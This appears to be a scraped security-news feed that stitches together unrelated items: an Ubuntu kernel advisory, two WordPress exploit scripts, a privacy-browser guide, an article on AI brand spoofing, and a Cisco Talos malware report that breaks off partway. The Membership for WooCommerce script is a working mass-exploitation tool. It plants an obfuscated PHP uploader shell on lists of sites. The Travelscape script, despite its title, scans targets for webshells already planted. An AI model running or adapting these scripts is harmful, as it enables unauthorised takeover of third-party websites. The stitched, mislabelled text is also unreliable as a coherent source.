Ubuntu Security Notice 6701-4 - Ruihan Li discovered that the bluetooth subsystem in the Linux kernel did not properly perform permissions checks when handling HCI sockets. A physically proximate attacker could use this to cause a denial of service. It was discovered that the NVIDIA Tegra XUSB pad controller driver in the Linux kernel did not properly handle return values in certain error conditions. A local attacker could use this to cause a denial of service.

==========================================================================  
Ubuntu Security Notice USN-6701-4  
April 09, 2024

linux-azure vulnerabilities  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 14.04 LTS (Available with Ubuntu Pro)

Summary:

Several security issues were fixed in the Linux kernel.

Software Description:  
- linux-azure: Linux kernel for Microsoft Azure Cloud systems

Details:

Ruihan Li discovered that the bluetooth subsystem in the Linux kernel did  
not properly perform permissions checks when handling HCI sockets. A  
physically proximate attacker could use this to cause a denial of service  
(bluetooth communication). (CVE-2023-2002)

It was discovered that the NVIDIA Tegra XUSB pad controller driver in the  
Linux kernel did not properly handle return values in certain error  
conditions. A local attacker could use this to cause a denial of service  
(system crash). (CVE-2023-23000)

It was discovered that Spectre-BHB mitigations were missing for Ampere  
processors. A local attacker could potentially use this to expose sensitive  
information. (CVE-2023-3006)

It was discovered that the ext4 file system implementation in the Linux  
kernel did not properly handle block device modification while it is  
mounted. A privileged attacker could use this to cause a denial of service  
(system crash) or possibly expose sensitive information. (CVE-2023-34256)

Eric Dumazet discovered that the netfilter subsystem in the Linux kernel  
did not properly handle DCCP conntrack buffers in certain situations,  
leading to an out-of-bounds read vulnerability. An attacker could possibly  
use this to expose sensitive information (kernel memory). (CVE-2023-39197)

It was discovered that the Siano USB MDTV receiver device driver in the  
Linux kernel did not properly handle device initialization failures in  
certain situations, leading to a use-after-free vulnerability. A physically  
proximate attacker could use this cause a denial of service (system crash).  
(CVE-2023-4132)

Pratyush Yadav discovered that the Xen network backend implementation in  
the Linux kernel did not properly handle zero length data request, leading  
to a null pointer dereference vulnerability. An attacker in a guest VM  
could possibly use this to cause a denial of service (host domain crash).  
(CVE-2023-46838)

It was discovered that a race condition existed in the AppleTalk networking  
subsystem of the Linux kernel, leading to a use-after-free vulnerability. A  
local attacker could use this to cause a denial of service (system crash)  
or possibly execute arbitrary code. (CVE-2023-51781)

Alon Zahavi discovered that the NVMe-oF/TCP subsystem of the Linux kernel  
did not properly handle connect command payloads in certain situations,  
leading to an out-of-bounds read vulnerability. A remote attacker could use  
this to expose sensitive information (kernel memory). (CVE-2023-6121)

It was discovered that the ext4 file system implementation in the Linux  
kernel did not properly handle the remount operation in certain cases,  
leading to a use-after-free vulnerability. A local attacker could use this  
to cause a denial of service (system crash) or possibly expose sensitive  
information. (CVE-2024-0775)

Notselwyn discovered that the netfilter subsystem in the Linux kernel did  
not properly handle verdict parameters in certain cases, leading to a use-  
after-free vulnerability. A local attacker could use this to cause a denial  
of service (system crash) or possibly execute arbitrary code.  
(CVE-2024-1086)

It was discovered that a race condition existed in the SCSI Emulex  
LightPulse Fibre Channel driver in the Linux kernel when unregistering FCF  
and re-scanning an HBA FCF table, leading to a null pointer dereference  
vulnerability. A local attacker could use this to cause a denial of service  
(system crash). (CVE-2024-24855)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 14.04 LTS (Available with Ubuntu Pro):  
   linux-image-4.15.0-1175-azure   4.15.0-1175.190~14.04.1  
   linux-image-azure               4.15.0.1175.141

After a standard system update you need to reboot your computer to make  
all the necessary changes.

ATTENTION: Due to an unavoidable ABI change the kernel updates have  
been given a new version number, which requires you to recompile and  
reinstall all third party kernel modules you might have installed.  
Unless you manually uninstalled the standard kernel metapackages  
(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,  
linux-powerpc), a standard system upgrade will automatically perform  
this as well.

References:  
   https://ubuntu.com/security/notices/USN-6701-4  
   https://ubuntu.com/security/notices/USN-6701-1  
   CVE-2023-2002, CVE-2023-23000, CVE-2023-3006, CVE-2023-34256,  
   CVE-2023-39197, CVE-2023-4132, CVE-2023-46838, CVE-2023-51781,  
   CVE-2023-6121, CVE-2024-0775, CVE-2024-1086, CVE-2024-24855

Ubuntu Security Notice USN-6701-4

WordPress Travelscape theme version 1.0.3 suffers from an arbitrary file upload vulnerability.

    # Exploit Title: Wordpress Theme Travelscape v1.0.3 - Arbitrary File Upload# Date: 2024-04-01# Author: Milad Karimi (Ex3ptionaL)# Category : webapps# Tested on: windows 10 , firefoximport sysimport os.pathimport requestsimport reimport urllib3from requests.exceptions import SSLErrorfrom multiprocessing.dummy import Pool as ThreadPoolfrom colorama import Fore, initinit(autoreset=True)error_color = Fore.REDinfo_color = Fore.CYANsuccess_color = Fore.GREENhighlight_color = Fore.MAGENTArequests.urllib3.disable_warnings()headers = {    'Connection': 'keep-alive',    'Cache-Control': 'max-age=0',    'Upgrade-Insecure-Requests': '1',    'User-Agent': 'Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M;wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107Mobile Safari/537.36',    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',    'Accept-Encoding': 'gzip, deflate',    'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',    'Referer': 'www.google.com'}def URLdomain(url):    if url.startswith("http://"):        url = url.replace("http://", "")    elif url.startswith("https://"):        url = url.replace("https://", "")    if '/' in url:        url = url.split('/')[0]    return urldef check_security(url):    fg = success_color    fr = error_color    try:        url = 'http://' + URLdomain(url)        check = requests.get(url +'/wp-content/themes/travelscape/json.php', headers=headers,allow_redirects=True, timeout=15)        if 'MSQ_403' in check.text:            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))            open('MSQ_403.txt', 'a').write(url +'/wp-content/themes/travelscape/json.php\n')        else:            url = 'https://' + URLdomain(url)            check = requests.get(url +'/wp-content/themes/aahana/json.php', headers=headers,allow_redirects=True, verify=False, timeout=15)            if 'MSQ_403' in check.text:                print(' -| ' + url + ' --> {}[Successfully]'.format(fg))                open('MSQ_403.txt', 'a').write(url +'/wp-content/themes/aahana/json.php\n')            else:                print(' -| ' + url + ' --> {}[Failed]'.format(fr))        check = requests.get(url + '/wp-content/themes/travel/issue.php',headers=headers, allow_redirects=True, timeout=15)        if 'Yanz Webshell!' in check.text:            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))            open('wso.txt', 'a').write(url +'/wp-content/themes/travel/issue.php\n')        else:            url = 'https://' + URLdomain(url)        check = requests.get(url + '/about.php', headers=headers,allow_redirects=True, timeout=15)        if 'Yanz Webshell!' in check.text:            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))            open('wso.txt', 'a').write(url + '/about.php\n')        else:            url = 'https://' + URLdomain(url)        check = requests.get(url +'/wp-content/themes/digital-download/new.php', headers=headers,allow_redirects=True, timeout=15)        if '#0x2525' in check.text:            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))            open('digital-download.txt', 'a').write(url +'/wp-content/themes/digital-download/new.php\n')        else:            print(' -| ' + url + ' --> {}[Failed]'.format(fr))            url = 'http://' + URLdomain(url)        check = requests.get(url + '/epinyins.php', headers=headers,allow_redirects=True, timeout=15)        if 'Uname:' in check.text:            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))            open('wso.txt', 'a').write(url + '/epinyins.php\n')        else:            print(' -| ' + url + ' --> {}[Failed]'.format(fr))            url = 'https://' + URLdomain(url)        check = requests.get(url + '/wp-admin/dropdown.php',headers=headers, allow_redirects=True, verify=False, timeout=15)        if 'Uname:' in check.text:            print(' -| ' + url + ' --> {}[Successfully]'.format(fg))            open('wso.txt', 'a').write(url + '/wp-admin/dropdown.php\n')        else:            url = 'https://' + URLdomain(url)            check = requests.get(url +'/wp-content/plugins/dummyyummy/wp-signup.php', headers=headers,allow_redirects=True, verify=False, timeout=15)            if 'Simple Shell' in check.text:                print(' -| ' + url + ' --> {}[Successfully]'.format(fg))                open('dummyyummy.txt', 'a').write(url +'/wp-content/plugins/dummyyummy/wp-signup.php\n')            else:                print(' -| ' + url + ' --> {}[Failed]'.format(fr))    except Exception as e:        print(f' -| {url} --> {fr}[Failed] due to: {e}')def main():    try:        url_file_path = sys.argv[1]    except IndexError:        url_file_path = input(f"{info_color}Enter the path to the filecontaining URLs: ")        if not os.path.isfile(url_file_path):            print(f"{error_color}[ERROR] The specified file path isinvalid.")            sys.exit(1)    try:        urls_to_check = [line.strip() for line in open(url_file_path, 'r',encoding='utf-8').readlines()]    except Exception as e:        print(f"{error_color}[ERROR] An error occurred while reading thefile: {e}")        sys.exit(1)    pool = ThreadPool(20)    pool.map(check_security, urls_to_check)    pool.close()    pool.join()    print(f"{info_color}Security check process completed successfully.Results are saved in corresponding files.")if __name__ == "__main__":    main()

WordPress Travelscape Theme 1.0.3 Arbitrary File Upload

Ad trackers are out of control. Use a browser that reins them in.

Google's admission that, yes, it does track you while you're in Chrome's Incognito mode, is just the latest in a long line of unsettling revelations about just how keenly Big Tech keeps an eye on our movements every time we connect to the internet. Billions of data records will now be deleted as part of a settlement to a class action lawsuit brought against Google.

As we've written before, Incognito mode and the equivalent modes offered by other browsers aren't as secure as you might think, particularly if you start signing into accounts like Google or Facebook. Your activities and searches as a logged-in user on large platforms can still be recorded, primarily to create advertising that's more accurately targeted toward your demographic.

Google, for its part, says it’s transparent about what data it’s storing and why—and in recent years it has made it easier for users to see and delete the information held about them. To really lock down your privacy and security, though, it’s best to switch to a browser not made by a company that earns billions of dollars selling ads.

And there are alternatives: Below we recommend several browsers built with user privacy and security as a priority. Even better, in many cases they can import data such as bookmarks and passwords from your current browser—Google Chrome, for example.

**DuckDuckGo (Android, iOS, Windows, macOS)**

The DuckDuckGo browser blocks trackers at their source.

DuckDuckGo via David Nield

You might know DuckDuckGo as the anti-Google search engine, but the parent company has branched out to make its own browsers too. They keep you well protected online and at the same time give you plenty of information about the tracking technologies being proactively blocked.

DuckDuckGo starts by enforcing encrypted HTTPS connections when websites offer them, and gives each page you visit a grade based on how aggressively it's trying to mine your data. It'll even scan and rank site privacy policies for you.

When it comes to browsing data, this can be cleared automatically at the end of each session or after a certain period of time. Pop-ups and ads are snuffed out, and of course the DuckDuckGo search engine is built in, free of the Google trappings.

You also get extras like throwaway email aliases you can use in place of your real email address to protect your privacy, and everything about the browser and its features is simple to use: You don't really need to do anything except install them, so you're getting maximum protection with minimal effort.

**Ghostery (Android, iOS, Windows, macOS)**

Ghostery comes with a range of tools to protect your privacy.

Ghostery via David Nield

Install Ghostery on your mobile device or your computer, and straight away it gets to work blocking adverts and tracking cookies that will attempt to keep tabs on what you're up to on the web. There are no complicated setup screens or configurations to manage.

Like DuckDuckGo, Ghostery tells you exactly which trackers and ads it's blocking and how many monitoring tools each website has installed. If you do come across certain sites that are well behaved, you can mark them as trusted with a tap.

Or, if you find a site that's packed full of tracking systems, you can block every single bit of cookie technology on it (for commenting systems, media players, and so on), even if the site ends up breaking. A simple, private search engine is built in to replace Google too.

Ghostery's tools are a little more in-depth and advanced than the ones offered by DuckDuckGo, so you might consider it if you want to take extra control over which trackers are blocked on which sites—but it's simple enough for anyone to use.

**Tor Browser (Android, Windows, macOS)**

Tor connects you to the Tor network, to keep your online activities more private.

Tor via David Nield

Tor Browser markets itself as a browsing option "without tracking, surveillance, or censorship." It is worth a look if you want the ultimate in anonymized, tracker-free browsing—unless you're on iOS, where it isn't available (Tor recommends the Onion Browser instead).

The browser is part of a bigger project to keep internet browsing anonymous: Use Tor and you use the Tor Project network, a complex, encrypted relay system managed by the Tor community, making it much harder for anyone else to follow your activities online.

As well as this additional layer of anonymity, Tor Browser is super-strict on the background scripts and tracking tech that sites can run. It also blocks fingerprinting, a method where advertisers attempt to recognize the unique characteristics of your device.

At the end of each browsing session, everything gets wiped, including cookies left behind by sites and the browsing history inside the Tor Browser app itself. In other words, private browsing that leaves no trace is the default—and indeed the only option.

**Brave (Android, iOS, Windows, macOS)**

Brave gives you a clean, speedy browsing experience.

Brave via David Nield

Brave comes with all the tracking protection features you would expect: Ads are completely blocked, there are tight restrictions on the data that sites can gather through cookies and tracking scripts, and you're always kept informed about what's happening.

The browser comes with an optional built-in VPN, though it costs extra ($10 a month). You can also, if you want, use Brave to access the Tor network we mentioned with the Tor browser and take advantage of its anonymizing relay service that hides your location and browsing data.

There's no doubt about the effectiveness of Brave's tracker-blocking technologies, and getting around the web in Brave is quick and snappy. It's a comprehensive package and one that strikes a well-judged balance between simplicity and power for the majority of users.

Brave has regularly pioneered features related to innovative web technologies, including cryptocurrencies, NFTs, and (most recently) artificial intelligence; there's actually a new AI assistant built into it. In other words, it's not exclusively focused on security and privacy.

**Firefox (Android, iOS, Windows, macOS)**

Firefox is part of a suite of privacy products from Mozilla.

Firefox via David Nield

Firefox has long been at the forefront of online privacy—blocking tracking cookies across sites by default, for example—and it continues to be one of the best options for making sure you're giving away as little data as possible as you make your way across the web.

Firefox also gives you a ton of information on each website you visit regarding the trackers and cookies that pages have attempted to leave, and which ones Firefox has blocked. Permissions for access to your location and microphone can be easily managed as well.

Aside from looking after the interests of its users, Firefox also scores highly for user customization. You can change the look and behavior of the browser in a variety of ways, and there are useful integrations like the built-in Pocket utility that saves web stories on your device so you can read them later.

Firefox developer Mozilla offers plenty of extras, including a free data-breach monitor that tells you when your usernames and passwords may have been exposed somewhere online, a free email alias system to keep your actual email address protected, and a VPN that costs $10 per month. It all adds up to a comprehensive package for keeping you safe online.

**Safari (iOS, macOS)**

Safari has been blocking tracking cookies for some time.

Safari via David Nield

Apple continues to add privacy tech to Safari with each release on iOS and macOS—like requiring user authentication (such as a Face ID scan) when returning to a browsing session—though it's obviously not a browsing option if you're on Android or Windows.

Safari has long been blocking third-party tracking cookies that try to connect the dots on your web activity across multiple sites. It also blocks device fingerprinting techniques that try to identify your devices, and it reports back on the trackers it has disabled.

The browser can now also warn you when you try to use a password that's too weak on a new website or service, and it will make a suggestion of a stronger password if needed. Recent browser updates added support for logging in with passkeys too.

Safari operates against the backdrop of Apple's commitment to collect as little information about you as possible and to keep most of that information locked away locally on your device rather than on Apple's servers.

_Update: April 6, 2024, 8:30 am: This guide was updated to include new guidance for DuckDuckGo and Ghostery, as well as to bring some descriptions of browser providers' data collection policies up to date._

Best Privacy Browsers (2024): Brave, Safari, Ghostery, Firefox, DuckDuckGo

WordPress Membership for WooCommerce plugin versions prior to 2.1.7 suffer from a remote shell upload vulnerability.

    # Exploit Title: Wordpress Plugin - Membership For WooCommerce < v2.1.7 - Arbitrary File Upload to Shell (Unauthenticated)# Date: 2024-02-25# Author: Milad Karimi (Ex3ptionaL)# Category : webapps# Tested on: windows 10 , firefoximport sys , requests, re , jsonfrom multiprocessing.dummy import Poolfrom colorama import Forefrom colorama import initinit(autoreset=True)headers = {'Connection': 'keep-alive', 'Cache-Control': 'max-age=0','Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozlila/5.0 (Linux;Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, likeGecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8','Accept-Encoding': 'gzip, deflate', 'Accept-Language':'en-US,en;q=0.9,fr;q=0.8', 'referer': 'www.google.com'}uploader = """GIF89a<?php ?><!DOCTYPE html><html><head>  <title>Resultz</title></head><body><h1>Uploader</h1>  <form enctype='multipart/form-data' action='' method='POST'>    <p>Uploaded</p>    <input type='file' name='uploaded_file'></input><br />    <input type='submit' value='Upload'></input>  </form></body></html><?PHPif(!empty($_FILES[base64_decode('dXBsb2FkZWRfZmlsZQ==')])){$fdudxfib_d6fe1d0be6347b8ef2427fa629c04485=base64_decode('Li8=');$fdudxfib_d6fe1d0be6347b8ef2427fa629c04485=$fdudxfib_d6fe1d0be6347b8ef2427fa629c04485.basename($_FILES[base64_decode('dXBsb2FkZWRfZmlsZQ==')][base64_decode('bmFtZQ==')]);if(move_uploaded_file($_FILES[base64_decode('dXBsb2FkZWRfZmlsZQ==')][base64_decode('dG1wX25hbWU=')],$fdudxfib_d6fe1d0be6347b8ef2427fa629c04485)){echobase64_decode('VGhlIGZpbGUg').basename($_FILES[base64_decode('dXBsb2FkZWRfZmlsZQ==')][base64_decode('bmFtZQ==')]).base64_decode('IGhhcyBiZWVuIHVwbG9hZGVk');}else{echobase64_decode('VGhlcmUgd2FzIGFuIGVycm9yIHVwbG9hZGluZyB0aGUgZmlsZSwgcGxlYXNlIHRyeSBhZ2FpbiE=');}}?>"""requests.urllib3.disable_warnings()def Exploit(Domain):    try:        if 'http' in Domain:          Domain = Domain        else:          Domain = 'http://'+Domain        myup = {'': ('db.php', uploader)}        req = requests.post(Domain +'/wp-admin/admin-ajax.php?action=wps_membership_csv_file_upload',files=myup, headers=headers,verify=False, timeout=10).text        req1 = requests.get(Domain +'/wp-content/uploads/mfw-activity-logger/csv-uploads/db.php')        if 'Ex3ptionaL' in req1:          print (fg+'[+] '+ Domain + ' --> Shell Uploaded')          open('Shellz.txt', 'a').write(Domain +'/wp-content/uploads/mfw-activity-logger/csv-uploads/db.php' + '\n')        else:          print (fr+'[+] '+ Domain + '{}{} --> Not Vulnerability')    except:        print(fr+' -| ' + Domain + ' --> {} [Failed]')target = open(input(fm+"Site List: "), "r").read().splitlines()mp = Pool(int(input(fm+"Threads: ")))mp.map(Exploit, target)mp.close()mp.join()

WordPress Membership For WooCommerce Shell Upload

Cybercriminals are using AI to impersonate small businesses. Security architects are using it to help small businesses fight back.

Source: Bulat Silvia via Alamy Stock Photo

Artificial intelligence (AI) is simultaneously making it easier for adversaries to pull off brand spoofing and easier for organizations to block spoofing and other threats. Both usages have significant implications for small to midsize businesses (SMBs).

Brand impersonation is typically associated with major brand names that are widely recognizable, but any brand, large or small, can be targeted. In fact, it's arguably easier and potentially more effective for adversaries to impersonate a small local credit union than a large entity like Bank of America. That's becoming even more likely with AI making it easier to collect and generate fake content.

However, AI is not just a tool in the attacker arsenal. Security architects are fighting back by designing security tools that use AI to detect and block impersonation attacks. This gives organizations, especially SMBs with limited budgets and resources, a boost in their abilities to fight back.

**Impersonating SMBs Online**

According to data provided to Dark Reading by Check Point Software, businesses with 100 or fewer employees have faced an average of 255 cyberattacks per week this year. Among them, brand spoofing is one of the most pernicious. That spoofing campaign against Bank of America won't even dent the banking giant's bottom line, but the same attack against a tiny credit union could cause serious and lasting damage.

"There's the potential degradation of trust and reputation, as consumers may feel the brand isn't reliable or safe," explains Jeremy Fuchs, Harmony Email analyst at Check Point. "There's also the potential loss of funds. Take a small clothing company. If someone wants to buy a T-shirt but instead 'buys it' from a spoof, the business is losing out on money. Finally, when a brand is spoofed, it can lead to email providers, like Google or Yahoo, blocking legitimate messages, such as for email marketing."

This is especially worrisome because a smaller brand — whether it's a local bank, doctor, law firm, or anything else — is actually easier for hackers to spoof than a larger one, Fuchs explains. Not only do they lack time, money, and personnel to invest in cybersecurity, but oftentimes "small businesses just aren't expecting it," he says. Both small businesses and customers assume that the target is going to be on the larger organization's back. Customers, if they're aware of the threat at all, may assume they are safer because they are using a smaller bank.  

Historically, SMBs have had one thing going for them: Phishing campaigns took time and effort to craft so, from an attacker's perspective, it might have felt like a bigger bang for their buck to target larger organizations with wider audiences. This is no longer the case, however, thanks to generative AI. Hackers can now use chatbots to whip up convincing emails mimicking any business in minutes flat.

**Preventing Brand Spoofing**

While attackers were able to quickly start using AI to improve the quality and efficiency of impersonation attacks, it's taking a little longer for security engineers to harness the same technology for their defenses.

Imagine, for example, that you want to use AI to detect spoofing attacks against Microsoft. You'd need to train an algorithm to distinguish legitimate and fake URLs, iconography, content, and other elements associated not just with the company as a whole, but also all of its various products, subsidiaries, the public figures behind them, and so on. It would be an involved project, even though Microsoft would be considered an easy one due to the amount of training data and content available.

"The real challenge is how to identify small businesses," explains Dan Karpati, Check Point's vice president of AI technologies. "Everyone's familiar with the big ones — the top sites in the US and other major countries — but how do we know about a store in a small village in Spain or Lisbon?"

Microsoft researchers made early inroads into the problem back in 2021, training a neural network on 1,000 brand impersonation attacks and generating mathematical representations of brand identities based on nearest neighbor classifications.

The system Karpati designed works in a similar fashion, first by automatically gathering data from a URL and the content of a legitimate Web page.

"It can be the URL, favicon, \[data\] inside of the HTML, copyrights, links in the sites, pictures — a lot of features," he explains. "Each time that we collect telemetry about a site, we open a new cluster. And if you mark it as benign, OK, now we have some sense of how benign looks for this brand. \[Then\], every time that we observe new access to a site, we extract its features and we ask — automatically — 'Is this access with these features that we extracted from the browser or on the network aligned with what we recorded about the cluster?'"

In other words, with a model for what a brand's domain structure, iconography, and content should look like, new sites that pop up with largely similar but slightly different features can be flagged as spoofs.

Because the system is cloud-based and AI-driven, it can apply this same process across just about any company with an online presence. According to Check Point, this system protects thousands of organizations in hundreds of countries every month.

**Non-AI Ways to Fight Back**

Besides AI, there are other solutions companies can implement to make the job of impersonating them more difficult and less profitable for hackers.

For example, there's Domain-based Message Authentication, Reporting & Conformance (DMARC), the email verification protocol often required of larger organizations but which smaller ones tend to overlook. Ironically, it's far easier for a small business to be DMARC-compliant than a larger one.

"You have to be able to track all your domains, and for some companies that have hundreds, it can be difficult. If you have one domain, it takes like 20 minutes," Fuchs points out. "DMARC can be a huge undertaking depending on how many domains you have, but it is a worthwhile project. It's a huge step in making sure that when somebody gets an email from you, it's coming from you or not from somebody who appears just like you."

And simply communicating with customers and vendors always helps, whether it be through helpful cyber hygiene tips and resources, or regular notices: "We'll never ask you for this code," "We'll never send you an email like this," and the like.

"Having both of those measures, and having that kind of open and honest culture — like, 'This is a problem, we're trying to fix it, here's how we're doing it, and here's how you can help us' — makes you a candidate for better outcomes," Fuchs says.

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

AI's Dual Role in SMB Brand Spoofing

Cisco Talos discovered a new threat actor we’re calling “CoralRaider” that we believe is of Vietnamese origin and financially motivated. CoralRaider has been operating since at least 2023, targeting victims in several Asian and Southeast Asian countries.

**CoralRaider targets victims’ data and social media accounts**

Thursday, April 4, 2024 08:00

*   Cisco Talos discovered a new threat actor we’re calling “CoralRaider” that we believe is of Vietnamese origin and financially motivated. CoralRaider has been operating since at least 2023, targeting victims in several Asian and Southeast Asian countries. 
*   This group focuses on stealing victims’ credentials, financial data, and social media accounts, including business and advertisement accounts.
*   They use RotBot, a customized variant of QuasarRAT, and XClient stealer as payloads in the campaign we analyzed.
*   The actor uses the dead drop technique, abusing a legitimate service to host the C2 configuration file and uncommon living-off-the-land binaries (LoLBins), including Windows Forfiles.exe and FoDHelper.exe 

**CoralRaider operators likely based in Vietnam **

Talos assesses with high confidence that the CoralRaider operators are based in Vietnam, based on the actor messages in their Telegram C2 bot channels and language preference in naming their bots, PDB strings, and other Vietnamese words hardcoded in their payload binaries. The actor’s IP address is located in Hanoi, Vietnam. 

 Our analysis revealed that the actor uses a Telegram bot, as a C2, to exfiltrate the victim’s data. This allowed us to collect information and uncover several invaluable indicators about the origin and activities of the attacker. 

The attacker used two Telegram bots: A “debug” bot for debugging, and an “online” bot where victim data was received. However, a Desktop image in the “debug” bot had a similar desktop and Telegram to the “online” bot. This showed that the actor possibly infected their own environment while testing the bot. 

Analyzing the images of the actor’s Desktop on the Telegram bot, we found a few Telegram groups in Vietnamese named “Kiém tien tử Facebook,” “Mua Bán Scan MINI,” and “Mua Bán Scan Meta.” Monitoring these groups revealed that they were underground markets where, among other activities, victim data was traded. 

In an image from the “debug bot,” we spotted the Windows device ID (HWID) and an IP address (118\[.\]71\[.\]64\[.\]18), located in Hanoi, Vietnam, that is likely to be CoralRaider’s IP address.

Talos’ research uncovered two other images that revealed a few folders on their OneDrive. One of the folders had a Vietnamese name, “Bot Export Chiến,” which is the same as one of the folders in the PDB strings of their loader component. Pivoting on the folder path in the PDB string, we discovered a few other PDB strings having similar paths but different Vietnamese names. We analyzed the discovered samples with the PDB strings and found they belong to the same loader family, RotBot. The Vietnamese name in the PDB string of the loader binary further strengthens our assessment that CoralRaider is of Vietnamese origin.

D:\\ROT\\ROT\\Build rot Export\\2024\\Bot Export Khuê\\14.225.210.XX-Khue-Ver 2.0\\GPT\\bin\\Debug\\spoolsv.pdb

D:\\ROT\\ROT\\Build rot Export\\2024\\Bot Export Trứ\\149.248.79.205 - NetFrame 4.5 Run Dll - 2024\\ChromeCrashServices\\obj\\Debug\\FirefoxCrashSevices.pdb

D:\\ROT\\ROT\\Build rot Export\\2024\\Bot Export Trứ\\139.99.23.9-NetFrame4.5-Ver2.0-Trứ\\GPT\\bin\\Debug\\spoolsv.pdb

  

D:\\ROT\\ROT\\Build rot Export\\2024\\Bot Export Chiến\\14.225.210.XX-Chiến -Ver 2.0\\GPT\\bin\\Debug\\spoolsv.pdb

  

D:\\ROT\\ROT\\Build rot Export\\2024\\Bot Export Trứ\\139.99.23.9-NetFrame4.5-Ver2.0-Trứ\\GPT\\bin\\Debug\\SkypeApp.pdb

  

D:\\ROT\\ROT\\Build rot Export\\2024\\Bot Export Chiến\\14.225.210.XX-Chiến -Ver 2.0\\GPT\\bin\\Debug\\spoolsv.pdb

  

D:\\ROT\\ROT\\ROT Ver 5.5\\Source\\Encrypted\\Ver 4.8 - Client Netframe 4.5\\XClient\\bin\\Debug\\AI.pdb

  

Another image we analyzed is an Excel spreadsheet that likely contained the victims’ data. We have redacted the images to maintain confidentiality. The spreadsheet has several tabs in Vietnamese, and their English translation showed us the tabs “Employee salary spreadsheet,” “advertising costs,” “website to buy copies,” “PayPal related,” and “can use.” The spreadsheet seemed to have multiple versions — the first was created on May 10, 2023. We also spotted that they have logged into their Microsoft Office 365 account with the display name “daloia krag” while accessing the spreadsheet, and CoralRaider likely operates the account. 

CoralRaider’s payload, XClient stealer analysis, showed us a few more indicators. CoralRaider had hardcoded Vietnamese words in several stealer functions of their payload XClient stealer. The stealer function maps the stolen victim’s information to hardcoded Vietnamese words and writes them to a text file on the victim machine’s temporary folder before exfiltration. One example function we observed is used to steal the victim’s Facebook Ads account that has hardcoded with Vietnamese words for Account rights, Threshold, Spent, Time Zone, and Date Created, etc.

**The campaign  **

Talos observed that CoralRaider is conducting a malicious campaign targeting victims in multiple countries in Asia and Southeast Asia, including India, China, South Korea, Bangladesh, Pakistan, Indonesia and Vietnam. 

The initial vector of the campaign is the Windows shortcut file. We are unclear on the technique the actor used to deliver the LNKs to the victims. Some of the shortcut file filenames that we observed during our analysis are:

*   자세한 비디오 및 이미지.lnk
*   設計內容+我的名片.lnk
*   run-dwnl-restart.lnk
*   index-write-upd.lnk
*   finals.lnk
*   manual.pdf.lnk
*   LoanDocs.lnk
*   DoctorReferral.lnk
*   your-award.pdf.lnk
*   Research.pdf.lnk
*   start-of-proccess.lnk
*   lan-onlineupd.lnk
*   refcount.lnk

We also discovered a few notable unique drive serial numbers from the metadata of the Windows Shortcut files:

*   A0B4-2B36
*   FA4C-C31D
*   94AA-CEFB
*   46F7-AF3B

The attack begins when a user opens a malicious Windows shortcut file, which downloads and executes an HTML application file (HTA) from an attacker-controlled download server. The HTA file executes an embedded obfuscated Visual Basic script. The malicious Visual Basic script executes an embedded PowerShell script in the memory, which decrypts and sequentially executes three other PowerShell scripts that perform anti-VM and anti-analysis checks, bypass the User Access Controls, disables the Windows and application notifications on the victim’s machine, and finally downloads and run the RotBot. 

RotBot, the QuasarRAT client variant, in its initial execution phase, performs several detection evasion checks on the victim machine and conducts system reconnaissance. RotBot then connects to a host on a legitimate domain, likely controlled by the threat actor, and downloads the configuration file for the RotBot to connect to the C2. CoralRaider uses the Telegram bot as the C2 channel in this campaign. 

After connecting to the Telegram C2, RotBot loads the payload XClient stealer onto the victim memory from its resource and runs its plugin program. The XClient stealer plugin performs anti-VM and anti-virus software checks on the victim's machine. It executes its functions to collect the victim's browser data, including cookies, stored credentials, and financial information such as credit card details. It also collects the victim’s data from social media accounts, including Facebook, Instagram, TikTok business ads, and YouTube. It also collects the application data from the Telegram desktop and Discord application on the victim's machine. The stealer plugin can capture screenshots of the victim’s desktop and save them as a PNG file in the victim's machine’s temporary folder. With PNG files, the stealer plugin dumps the collected victim’s data from the browser and social media accounts in a text file and creates a ZIP archive. The PNG and ZIP files are exfiltrated to the attacker's Telegram bot C2.

Infection flow diagram.

**RotBot loads and runs the payload  **

RotBot, a remote access tool (RAT) compiled on Jan. 9, 2024, is downloaded and runs on the victim machine disguised as a Printer Subsystem application “spoolsv.exe.” RotBot is a variant of the QuasarRAT client that the threat actor has customized and compiled for this campaign. 

During its initial execution, RotBot performs several checks on the victim’s machine to evade detection, including IP address, ASN number, and running processes of the victim’s machine. It performs reconnaissance of system data on the victim machine. It also configures the internet proxy on the victim machine by modifying the registry key: 

Software\\Microsoft\\Windows\\CurrentVersion\\Internet 

Settings with the values:

ProxyServer = 127.0.0.1:80

ProxyEnable = 1

We observed that RotBot discovered in this campaign creates mutex in the victim machine as the infection markers​​ using the hardcoded strings in the binary.

RotBot loads and runs the XClient stealer module from its resources and uses the configuration parameters for its Telegram C2 bot from the downloaded configuration file. 

The XClient stealer sample we analyzed in this campaign is a .Net executable compiled on Jan. 7, 2024. It has extensive information-stealing capability through its plugin module and various modules for performing remote administrative tasks. 

XClient stealer has three primary functions that help it to avoid the radar. First, it will do virtual environment evasion if the victim’s machine runs in VMware or VirtualBox. It also checks if a DLL called sbieDll.dll exists in the victim machine file system to detect if it runs in the Sandboxie environment. XClient stealer also checks if anti-virus software, including AVG, Avast, and Kaspersky, is running on the victim’s machine. 

